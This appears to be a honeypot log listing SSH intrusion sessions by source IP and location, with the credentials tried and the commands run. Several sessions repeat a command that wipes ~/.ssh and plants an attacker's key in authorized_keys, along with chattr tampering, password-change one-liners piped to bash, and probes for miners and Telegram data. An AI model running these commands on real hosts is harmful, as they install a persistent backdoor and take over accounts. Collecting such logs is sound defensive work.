$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 shadow_root_30 (47.236.8.108) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-14 18:34 EDT Β· as ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_56 (84.74.163.210) β€” Kloten, Switzerland Β· 1 session Β· 9 cmds
2026-04-14 18:33 EDT Β· as root/root
credential reuse (root/root) β†’ network reconnaissance (ifconfig, /ip cloud print) β†’ OS fingerprinting (uname -a) β†’ hardware profiling (cat /proc/cpuinfo) β†’ cryptominer detection (ps | grep '[Mm]iner', ps -ef | grep '[Mm]iner') β†’ Telegram data enumeration (ls -la ~/.local/share/TelegramDesktop/tdata)
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 lantern_root_15 (117.34.125.173) β€” Liuxiang, China Β· 1 session Β· 20 cmds
2026-04-14 18:08 EDT Β· as eth/eth
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "eth\nPiaUa83qIh1q\nPiaUa83qIh1q"|passwd|bash
$ Enter new UNIX password:
$ echo "eth\nPiaUa83qIh1q\nPiaUa83qIh1q\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 panda_root_9 (47.107.183.85) β€” Shenzhen, China Β· 2 sessions Β· 2 cmds
2026-04-14 10:28 EDT Β· as oracle/Oracle123, oracle/oracle@1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 panda_root_10 (47.97.58.151) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-14 17:05 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 wok_root_21 (182.43.235.218) β€” Jinan, China Β· 1 session Β· 3 cmds
2026-04-14 16:50 EDT Β· as oracle/adminadmin
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
🎭 lantern_root_16 (182.92.141.14) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-14 14:18 EDT Β· as admin/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 stein_root_3 (162.55.94.103) β€” Falkenstein, Germany Β· 9 sessions Β· 9 cmds
2026-04-12 10:52 EDT Β· as root/1234, root/123456, root/12345678
env inspection β†’ memory audit via free β†’ root filesystem listing β†’ kernel fingerprinting with uname β†’ privilege confirmation via whoami β†’ GPU detection attempt for mining β†’ disk space verification
$ env | head -10
$ free -h | head -2 Γ—2
$ ls -la / Γ—2
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lspci | grep -i vga || lspci | grep -i nvidia || echo 'No GPU info'
$ df -h | head -5
🎭 bistro_root_4 (152.89.253.36) β€” Paris, France Β· 1 session Β· 2 cmds
2026-04-14 12:25 EDT Β· as oracle/oracle!@#$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 silk_root_16 (116.177.174.231) β€” Jinrongjie, China Β· 1 session Β· 1 cmd
2026-04-14 11:50 EDT Β· as oracle/1qaz@WSX
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_57 (103.189.208.13) β€” SΖ‘n TrΓ , Vietnam Β· 1 session Β· 2 cmds
2026-04-14 11:49 EDT Β· as oracle/Oracle11!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 samba_root_2 (152.250.243.47) β€” SΓ£o Paulo, Brazil Β· 1 session Β· 2 cmds
2026-04-14 11:44 EDT Β· as oracle/Oracle11!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_42 (103.176.79.137) β€” Cicurug, Indonesia Β· 1 session Β· 2 cmds
2026-04-14 11:30 EDT Β· as oracle/Oracle11!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_7 (114.8.146.58) β€” Kebomas, Indonesia Β· 1 session Β· 2 cmds
2026-04-14 11:20 EDT Β· as oracle/Oracle11!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shogun_root (133.117.76.239) β€” Chiyoda City, Japan Β· 1 session Β· 2 cmds
2026-04-14 06:23 EDT Β· as oracle/Oracle#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 bike_sol (164.92.212.13) β€” Amsterdam, The Netherlands Β· 72 sessions Β· 72 cmds
2026-04-13 18:21 EDT Β· as admin/123456, admin/admin, admin/password
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—72
🎭 cowboy_root_7 (35.225.56.202) β€” Council Bluffs, United States Β· 1 session Β· 2 cmds
2026-04-14 02:25 EDT Β· as oracle/oracle2025!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 capoeira_root_5 (186.219.184.142) β€” Piraquara, Brazil Β· 1 session Β· 20 cmds
2026-04-14 02:22 EDT Β· as oracle/oracle2025!
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "oracle2025!\n4aQ8SS1bnqhC\n4aQ8SS1bnqhC"|passwd|bash
$ Enter new UNIX password:
$ echo "oracle2025!\n4aQ8SS1bnqhC\n4aQ8SS1bnqhC\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 jade_root_9 (116.147.40.93) β€” Jinrongjie, China Β· 1 session Β· 20 cmds
2026-04-14 02:13 EDT Β· as oracle/oracle2025!
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "oracle2025!\nP49pM5u7GXiW\nP49pM5u7GXiW"|passwd|bash
$ Enter new UNIX password:
$ echo "oracle2025!\nP49pM5u7GXiW\nP49pM5u7GXiW\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 stein_root_16 (87.106.187.209) β€” Berlin, Germany Β· 1 session Β· 2 cmds
2026-04-14 02:11 EDT Β· as oracle/Oracle4
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wraith_root_2 (171.244.198.133) β€” Hanoi, Vietnam Β· 1 session Β· 1 cmd
2026-04-14 01:58 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 yankee_sol_3 (92.118.39.92) β€” Dallas, United States Β· 85 sessions Β· 85 cmds
2026-03-07 10:22 EST Β· as admin/admin, admin/admin123, eth/eth
Ran uname 90x across 90 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—85
↳ obfuscated system check
🎭 cowboy_sol_4 (66.42.117.122) β€” Elk Grove Village, United States Β· 4 sessions Β· 4 cmds
2026-04-14 00:54 EDT Β· as guest/guest, oracle/P@ssw0rd, ubuntu/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—4
🎭 moose_root_7 (158.69.194.34) β€” Montreal, Canada Β· 1 session Β· 2 cmds
2026-04-14 00:30 EDT Β· as oracle/Oracle13
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_58 (103.176.79.139) β€” Cicurug, Indonesia Β· 1 session Β· 2 cmds
2026-04-14 00:14 EDT Β· as oracle/Oracle01!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cowboy_root_8 (157.245.124.28) β€” Clifton, United States Β· 1 session Β· 1 cmd
2026-04-13 22:11 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 gouda_root_8 (141.11.197.171) β€” Meppel, The Netherlands Β· 1 session Β· 2 cmds
2026-04-13 20:55 EDT Β· as oracle/testoracle
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 monet_root_2 (92.205.56.196) β€” Strasbourg, France Β· 1 session Β· 2 cmds
2026-04-13 20:22 EDT Β· as oracle/testoracle
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 stroopwafel_root_3 (2.59.183.94) β€” Meppel, The Netherlands Β· 4 sessions Β· 26 cmds
2026-04-07 20:48 EDT Β· as oracle/Oracle30!, oracle/oracle0, oracle/testoracle
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—4
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—4
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "tomcat\nyi15naZcrmFU\nyi15naZcrmFU"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\nyi15naZcrmFU\nyi15naZcrmFU\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cipher_root_52 (8.222.219.23) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-13 15:08 EDT Β· as ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 eagle_root_12 (135.232.232.21) β€” Chicago, United States Β· 2 sessions Β· 2 cmds
2026-04-13 07:05 EDT Β· as root/123456, root/12345678
hostname discovery β†’ env
$ hostname
↳ hostname discovery
$ env | head -10
🎭 cowboy_root_9 (20.161.60.22) β€” Boydton, United States Β· 1 session Β· 1 cmd
2026-04-13 06:51 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -m 2>/dev/null || echo unknown
🎭 ghost_root_59 (42.114.92.75) β€” Hanoi, Vietnam Β· 1 session Β· 2 cmds
2026-04-13 05:12 EDT Β· as oracle/oracle29
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
